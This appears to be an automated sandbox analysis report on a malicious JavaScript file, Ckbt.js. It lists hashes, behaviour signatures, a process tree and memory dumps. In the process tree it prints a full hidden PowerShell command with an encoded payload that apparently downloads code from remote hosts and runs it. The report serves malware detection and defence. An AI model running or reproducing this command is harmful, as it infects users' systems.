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Analysis

  • max time kernel
    90s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/05/2023, 13:29

General

  • Target

    Ckbt.js

  • Size

    218KB

  • MD5

    5766bc8031a485df0b03b1dd15b82d3d

  • SHA1

    2cdf7ee78a24e06f9fd5d3e7d515bf60774c720f

  • SHA256

    eec2d6c95416d1ef00e5e37fbd36ae388a24bee4986cde2d9cfebf6d25263a95

  • SHA512

    4cc2b87bce4ff89e559792ecb944365cdb24afc622532bdf5756a5572a02449a999e6d9ebc96111d527c0e67465ee3c2bed25dd3996865f27e0892e5025e866c

  • SSDEEP

    1536:mDS8/yqz10JirHyPUGNjb03yySCpyzn4QrYO9PmJNxw5xUPKY0HdOSLLdmU+xcAm:t8aqz10DH8yQK4QrYO9PmNLx9xIr

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Ckbt.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4980
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Ckbt.js" PercenterTrimotor patronne
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2008
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABtAG8AbgBvAGMAaABhAHMAaQBhAE4AbwB0AGUAcABhAGQAIAA9ACAAIgBNAGUAcwBtAGUAcgBpAHoAYQBiAGwAZQBBAHIAYwBoAGUAcwBwAG8AcgBpAGEAIgA7ACQATwBtAG4AaQB2AGEAcgBpAG8AdQBzACAAPQAgADQAOQA0ADsAJABBAHIAcgB1AGEAZwB1AGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAGcAQQA1AEEAQwA0AEEATgBnAEEANQBBAEMANABBAE8AQQBBADQAQQBDADQAQQBNAFEAQQAxAEEARABJAEEARgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBOAFEAQQB4AEEAQwA0AEEATgBnAEEAdwBBAEMANABBAE0AUQBBADEAQQBEAEUAQQBMAGcAQQB5AEEARABNAEEATQBnAEEAPQAiADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAJABuAG8AbgBjAG8AbgB2AGUAcgB0AGkAYgBsAHkARABvAHcAYQBnAGUAcgBpAHMAbQAgAD0AIAAiAFUAbgBkAGUAcgBtAG8AdABpAG8AbgBCAG8AdABhAG4AaQB6AGUAZAAiADsAJABSAGUAYgByAHUAcwBoAEQAaQBwAGwAbwBnAGwAbwBzAHMAYQB0AGEAIAA9ACAANQAyADEAOwAkAE4AbwBuAHMAdwBpAG0AbQBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB4AEEAQwA0AEEATgB3AEEAMgBBAEMANABBAE4AUQBBAHcAQQBDADQAQQBNAGcAQQAwAEEARABNAEEAdQBpAG0AUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEoAQQBHAFEAQQBhAFEAQgB2AEEASABJAEEAYwBnAEIAbwBBAEgAawBBAGQAQQBCAG8AQQBHADAAQQBlAFEAQgBWAEEARwA0AEEAYwBnAEIAbABBAEcAYwBBAGMAZwBCAGwAQQBIAFEAQQBaAGcAQgAxAEEARwB3AEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAcwB1AHAAZQByAG8AcAB0AGkAbQBpAHMAdABVAHIAYQBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA1AEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAFEAQQBNAHcAQQB1AEEARABFAEEATQBRAEEANQBBAEMAOABBAGQAQQBCAE8AQQBHAFkAQQBMAHcAQgBwAEEARQBvAEEAWgBRAEIAMABBAEgAUQBBAHEAZgBhAFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEANQBBAEQARQBBAEwAZwBBADQAQQBEAFkAQQBMAGcAQQB4AEEARABJAEEATQBnAEEAdgBBAEYAWQBBAGIAQQBCAHcAQQBGAFEAQQBMAHcAQgBDAEEARQB3AEEAUgBBAEIAaQBBAEUASQBBAFoAZwBCAG0AQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAG8AbgBzAHQAaQB0AHUAdABlAFAAaQBsAGkAZQBzACAAaQBuACAAJABzAHUAcABlAHIAbwBwAHQAaQBtAGkAcwB0AFUAcgBhAGwAaQBuAGUAIAAtAHMAcABsAGkAdAAgACIAcQBmAGEAUQAiACkAIAB7ACQAbABpAHQAdABsAGUAbgBlAGMAawAgAD0AIAAyADgAMgA7ACQAQwByAHkAcAB0AG8AZwByAGEAbQBtAGkAYwAgAD0AIAA1ADUANgA7ACQAQgBlAHMAdABlAGEAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcARQBBAGIAQQBCAGgAQQBIAEUAQQBkAFEAQgBwAEEASABVAEEAYgBRAEIARABBAEcAOABBAGIAQQBCADEAQQBHADAAQQBZAGcAQgBwAEEARwBVAEEAYwBnAEEAdQBBAEcAdwBBAGEAUQBCAG0AQQBHAFUAQQAiADsAdAByAHkAIAB7ACQAUgBlAGEAYgBzAG8AcgBiAFMAdQBwAGUAcgBjAG8AbgBmAGkAcgBtAGEAdABpAG8AbgAgAD0AIAAiAFAAcgBvAHAAYQBnAHUAbABlACIAOwAkAEkAZABlAG4AdABpAGMAIAA9ACAANwA3ADcAOwAkAHMAbgBvAGIAYgBpAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABjAG8AbgBzAHQAaQB0AHUAdABlAFAAaQBsAGkAZQBzACkAKQA7AGkAdwByACAAJABzAG4AbwBiAGIAaQBzAGgAIAAtAE8AIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAdgBpAHIAYQBQAGgAYQBuAHQAbwBtAHMALgBDAHUAYwB1AG0AYgBlAHIAOwAkAHIAZQBmAHIAYQBjAHQAaQB2AGUAbAB5AEIAcgBvAGMAaABvACAAPQAgACIAUwBoAGUAaABpAHQAYQBIAGUAdABlAHIAbwBkAHIAbwBtAHkAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAdgBpAHIAYQBQAGgAYQBuAHQAbwBtAHMALgBDAHUAYwB1AG0AYgBlAHIAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAxADMANAA3ADMANQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAVgB3AEIAaABBAEgAWQBBAGEAUQBCAHkAQQBHAEUAQQBVAEEAQgBvAEEARwBFAEEAYgBnAEIAMABBAEcAOABBAGIAUQBCAHoAQQBDADQAQQBRAHcAQgAxAEEARwBNAEEAZABRAEIAdABBAEcASQBBAFoAUQBCAHkAQQBDAHcAQQBjAEEAQgB5AEEARwBrAEEAYgBnAEIAMABBAEQAcwBBAFYAZwBCADEAQQBHAFUAQQBTAGcAQgBUAEEAQQA9AD0AIgA7ACQAVQBuAHAAcgBlAGMAZQBkAGUAbgB0AGUAZAAgAD0AIAAiAEMAbwBuAGQAZQBuAHMAaQBuAGcAUABhAHQAZQByAG4AYQBsAGkAcwB0AGkAYwAiADsAJABpAHIAcgBlAGcAYQByAGQAbABlAHMAcwAgAD0AIAA1ADMAOAA7AGIAcgBlAGEAawA7AFYAdQBlAEoAUwA7AH0AVgB1AGUASgBTADsAfQAgAGMAYQB0AGMAaAAgAHsAJABUAGEAcgBhAGQAaQBkAGQAbABlAEEAbgB0AGkAcwBlAHIAdQBtAHMAIAA9ACAAMwA4ADQAOwAkAHUAbAB0AHIAYQBzAFMAZQBsAGUAbgBpAHQAaQBmAGUAcgBvAHUAcwAgAD0AIAA5ADkAOwAkAHMAaQBuAGcAdQBsAGEAcgBsAHkAIAA9ACAANAA3ADIAOwB9AH0AJABBAGUAcgBvAGcAdQBuACAAPQAgADgAMAA4ADsA"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3308

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l0e2pv4i.at1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3308-138-0x00000201FFC60000-0x00000201FFC82000-memory.dmp

    Filesize

    136KB

  • memory/3308-143-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

    Filesize

    64KB

  • memory/3308-144-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

    Filesize

    64KB

  • memory/3308-145-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

    Filesize

    64KB

  • memory/3308-146-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

    Filesize

    64KB

  • memory/3308-147-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

    Filesize

    64KB

  • memory/3308-148-0x00000201E6C50000-0x00000201E6C60000-memory.dmp

    Filesize

    64KB